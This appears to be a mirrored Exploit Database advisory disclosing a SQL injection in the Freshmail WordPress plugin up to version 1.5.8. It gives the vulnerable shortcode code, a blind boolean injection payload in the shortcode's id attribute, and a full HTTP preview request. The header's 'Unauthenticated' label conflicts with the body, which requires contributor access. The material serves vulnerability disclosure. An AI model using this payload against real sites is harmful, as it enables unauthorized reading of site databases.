WordPress Plugin Freshmail 1.5.8 – ‘shortcode.php’ SQL Injection

• Exploit Database
• 121 阅读

• 作者： Felipe Molina
  日期： 2015-05-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36942/
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  # Exploit Title: Unauthenticated SQL Injection on WordPress Freshmail (#1) # Google Dork: N/A # Date: 05/05/2015 # Exploit Author: Felipe Molina de la Torre (@felmoltor) # Vendor Homepage: *http://freshmail.com/ <http://freshmail.com/> * # Software Link: *https://downloads.wordpress.org/plugin/freshmail-newsletter.latest-stable.zip <https://downloads.wordpress.org/plugin/freshmail-newsletter.latest-stable.zip>* # Version: <= 1.5.8, Communicated and Fixed by the Vendor in 1.6 # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu) # CVE : N/A # Category: webapps   1. Summary ------------------   Freshmail plugin is an email marketing plugin for wordpress, allowing the administrator to create mail campaigns and keep track of them.   There is a SQL Injection vulnerability available for collaborators (or higher privileged users) for webs with freshmail plugin installed. The SQL Injection in located in the attribute "id" of the inserted shortcode [FM_form *id="N"*]. The shortcode attribute "id" is not sanitized before inserting it in a SQL query.   A collaborator can insert shortcodes when he/she is editing a new post or page and can preview the results (no administrator approval needed), launching this SQL Injection.     2. Vulnerability timeline ----------------------------------   - 04/05/2015: Identified in version 1.5.8 and contact the developer company by twitter. - 05/05/2015: Send the details by mail to developer.   - 05/05/2015: Response from the developer. - 06/05/2015: Fixed version in 1.6   3. Vulnerable code ---------------------------   Vulnerable File: include/shortcode.php, lines 27 and 120:   Line 19: function fm_form_func($atts) [...] Line 27: $form_value = $wpdb->get_row("select * from ".$wpdb->prefix.&apos;fm_forms where form_id="&apos;.$atts[&apos;id&apos;].&apos;";&apos;); [...] Line 120: add_shortcode(&apos;FM_form&apos;, &apos;fm_form_func&apos;);     3. Proof of concept ---------------------------   1. As collaborator, start a new post. 2. Insert the shortcode [FM_form id=&apos;1" and substr(user(),1,1)="b&apos;] 3. Click preview. 4. If the form is shown, the statement is true, if not, false.   POST /wp-admin/post.php HTTP/1.1 Host: <web> Content-Length: 3979 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: <web> User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.37 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary384PE6lRgBcOibkL Referer: http://<web>/wp-admin/post.php?post=69&action=edit&message=8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,es;q=0.6 Cookie: wordpress_f305[...]   ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="_wpnonce"   0a75a3666b ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="_wp_http_referer"   /wp-admin/post.php?post=69&action=edit&message=8 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="user_ID"   4 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="action"   editpost ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="originalaction"   editpost ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="post_author"   4 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="post_type"   post ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="original_post_status"   pending ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="referredby"   http://<web>/wp-admin/post.php?post=69&action=edit&message=8   ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="_wp_original_http_referer"   http://<web>/wp-admin/post.php?post=69&action=edit&message=8   ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="post_ID"   69 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="meta-box-order-nonce"   f8aa04e508 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="closedpostboxesnonce"   ebf65a43ed ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="post_title"   Testing SQLi in shortcode ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="samplepermalinknonce"   e753a2d8f2 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="content"   [FM_form id=&apos;1" and substr(user(),1,1)="b] ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="wp-preview"   dopreview ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="original_publish"   Submit for Review ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="post_format"   0 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="post_category[]"   0 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="post_category[]"   1 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="tax_input[post_tag]"     ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="newtag[post_tag]"     ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="excerpt"     ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="trackback_url"     ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="metakeyselect"   #NONE# ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="metakeyinput"     ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="metavalue"     ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="_ajax_nonce-add-meta"   6a13a5a808 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="advanced_view"   1 ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="comment_status"   open ------WebKitFormBoundary384PE6lRgBcOibkL Content-Disposition: form-data; name="ping_status"   open ------WebKitFormBoundary384PE6lRgBcOibkL--     5. Solution ---------------   Update to version 1.6